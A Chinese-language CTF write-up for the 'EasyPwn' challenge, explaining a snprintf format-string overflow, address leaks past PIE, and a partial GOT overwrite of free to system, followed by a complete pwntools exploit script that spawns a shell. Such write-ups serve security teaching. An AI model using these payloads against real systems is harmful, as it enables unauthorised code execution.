EasyPwn
首先,看一下程序的保护机制
开启了CANARY、NX和PIE,RELRO部分开启,我们可以改写GOT表
然后,我们用IDA分析
read的maxsize参数比变量的空间大小要小,因此无法溢出到栈底,加上开启了PIE,因此排除了ROP的方法
我们再仔细观察一下,发现snprintf在执行的过程中,v2可以溢出到v3,而v3存储的是格式化字符串,因此,我们可以溢出v2,修改格式化字符串,达到任意地址的读写。
我们再看看主函数,
我们可以利用snprintf格式化字符串漏洞,修改free的GOT表,让它指向system,然后我们第二次输入/bin/sh字符串,那么/bin/sh会存到堆里,当调用free(buf),时,就相当于执行了system(binsh_addr),我们就能getshell。
修改free的GOT表时,也有技巧,我们可以只修改后4字节数据,因此free和system在libc中的位置偏差也就那么多,那么它们在内存中的地址,也就最后几字节不一样,我们只需覆盖最后几字节数据即可。这也叫pritial write技术。
那么我们首先得让free的GOT表中的地址加载好,那么我们得先调用一次free。
- #这一步是为了让free的GOT表内容加载
- sh.sendlineafter('Input Your Code:\n','2')
- sh.sendlineafter('Input Your Name:\n','test')
接下来,我们就可以开启啦。
由于开启了PIE,我们得先利用snprintf泄露一些地址。
在我们进入功能1函数前,我们看到栈里有一个__libc_start_main+F0的地址,我们可以利用snprintf把它的值暴露出来。
为什么能够工作?(%s不是在snprintf执行时就传入了吗,%s如果变化了,按理来说不影响snprintf啊)
经过不断的调试,发现,snprintf把格式化字符串的地址记下来,然后,每次要处理一个字符时,先从地址处取格式化字符串,然后再根据格式化字符串来处理字符。由于地址是没变的,变的是地址里面的内容。
- sh.sendlineafter('Input Your Code:\n','1')
- #泄露__libc_start_main+F0的地址
- payload = 'a'*(0x3E8)+'bb%397$p'
- sh.sendafter('Welcome To WHCTF2017:\n',payload)
- sh.recvuntil('0x')
- __libc_start_main = int(sh.recvuntil('\n'),16) - 0xF0
这里,解释一下payload,前面0x3E8 = 0x7F0(v3位置) – 0x408(v2位置)
注意,接下来的两个字符bb是重要的(不能是aa,即不能与前面的那0x3E8个字符一样,不知道为什么,其他的都可以,有知道的大佬欢迎留言),这是为了覆盖原先的%s,根据上面说的snprintf工作过程,snprintf处理前面0x3E8个字符时,用的都是%s来格式化,当处理第一个b时,此时b已经覆盖了%号,格式化字符串变为bs,当处理第二个b时,此时b覆盖了字符s,格式化字符串变成bb。接下来,%397$p被原模原样的覆盖到了bb的后面,也就是最后,格式化字符串变成了bb%397$p,当snprintf读到格式化字符串为bb%397$p,变打印了bb0x[第397个元素的值]
%397$p就是距栈底397个位置的数据(也就是__libc_start_main+F0),这是如何得到的?
如图,在我们跟踪进入snprintf函数以后,并且还未对rsp做调整时,栈顶rsp为0x7FFD176702D0,然后我们找到__libc_start_main+F0在栈里的位置,为0x7FFD17670F38
那么
(0x7FFD17670F38 –0x7FFD176702D0) / 8 = 397
我们利用同样的方法泄露init的地址
那么,现在我们就能计算出程序的加载基地址和libc的加载基地址了
- libc = LibcSearcher('__libc_start_main',__libc_start_main)
- #获得libc加载基地址
- libc_base = __libc_start_main - libc.dump('__libc_start_main')
- system_addr = libc_base + libc.dump('system')
- print 'system addr=',hex(system_addr)
-
- sh.sendlineafter('Input Your Code:\n','1')
- #泄露init的地址
- payload = 'a'*(0x3E8)+'bb%396$p'
- sh.sendafter('Welcome To WHCTF2017:\n',payload)
- sh.recvuntil('0x')
-
- init_addr = int(sh.recvuntil('\n'),16)
- #获得程序的加载基地址,0xDA0为init在二进制文件中的静态地址
- elf_base = init_addr - 0xDA0
然后,我们得到了基地址,我们就能得到free的GOT表地址和system的地址。
然后,我们该如何来修改free的GOT表呢?
首先,我们不能把p64(addr)放格式化字符串的前面,因为p64(addr)里面有0,会导致snprintf遇到0后就结束,不能读取到我们后来的格式化字符串。
所以必须放后面,类似于这样
- ;
- payload = 'a'*(0x3E8) + ('bb%' + str(data - 0x3FE) + 'c%133$hn').ljust(16,'a') + p64(free_addr + 2)
其中,%133$hn代表把距栈顶133个位置处的数据当成地址,往那个地址处写一个值,hn表示写一个WORD(字)的数据,也就是2字节数据,并且值表示在这之前,snprintf已经打印了多少个字符,具体可以去学习一下字符串格式化漏洞的相关知识。
ljust(16,'a')是为了凑出16字节,格式化字符串可能超过8字节,但不会超过16字节,并且,由于要8字节对齐,所以需要补足。
这个133是如何得到的?
当进入snprintf,当还没变更rsp时,rsp栈顶为0x7FFF4D0A1BE0,然后我们看到我们输入的数据是从0x 7FFF4D0A1C10开始的
于是公式为
X = (0x 7FFF4D0A1C10 - 0x7FFF4D0A1BE0) / 8 + (0x3E8 + 16) / 8 = 133
那么,我们最终写出exp脚本如下
- #coding:utf8
- from pwn import *
- from LibcSearcher import *
-
- #context(log_level='debug')
- sh = process('./pwn1')
- #sh = remote('111.198.29.45',43257)
- elf = ELF('./pwn1')
-
- #这一步是为了让free的GOT表内容加载
- sh.sendlineafter('Input Your Code:\n','2')
- sh.sendlineafter('Input Your Name:\n','test')
-
-
- sh.sendlineafter('Input Your Code:\n','1')
- #泄露__libc_start_main+F0的地址
- payload = 'a'*(0x3E8)+'bb%397$p'
- sh.sendafter('Welcome To WHCTF2017:\n',payload)
- sh.recvuntil('0x')
- __libc_start_main = int(sh.recvuntil('\n'),16) - 0xF0
-
- libc = LibcSearcher('__libc_start_main',__libc_start_main)
- #获得libc加载基地址
- libc_base = __libc_start_main - libc.dump('__libc_start_main')
- system_addr = libc_base + libc.dump('system')
- print 'system addr=',hex(system_addr)
-
- sh.sendlineafter('Input Your Code:\n','1')
- #泄露init的地址
- payload = 'a'*(0x3E8)+'bb%396$p'
- sh.sendafter('Welcome To WHCTF2017:\n',payload)
- sh.recvuntil('0x')
-
- init_addr = int(sh.recvuntil('\n'),16)
- #获得程序的加载基地址,0xDA0为init在二进制文件中的静态地址
- elf_base = init_addr - 0xDA0
- #free的GOT表地址
- free_addr = elf_base + elf.got['free']
-
- print 'free_addr=',hex(free_addr)
-
- #以下两步修改free的GOT表内容,让它指向system
- sh.sendlineafter('Input Your Code:\n','1')
- #覆写倒数的第3、4字节数据
- data = (system_addr & 0xFFFFFFFF) >> 16
- #那个百分号前的两个aa是为了凑出8字节
- payload = 'a'*(0x3E8) + ('bb%' + str(data - 0x3FE) + 'c%133$hn').ljust(16,'a') + p64(free_addr + 2)
- sh.sendafter('Welcome To WHCTF2017:\n',payload)
-
- #覆写倒数的2字节数据
- data = system_addr & 0xFFFF
- sh.sendlineafter('Input Your Code:\n','1')
- payload = 'a'*(0x3E8) + ('bb%' + str(data - 0x3FE) + 'c%133$hn').ljust(16,'a') + p64(free_addr)
- sh.sendafter('Welcome To WHCTF2017:\n',payload)
-
- #getshell
- sh.sendlineafter('Input Your Code:\n','2')
- sh.sendlineafter('Input Your Name:\n','/bin/sh')
-
- sh.interactive()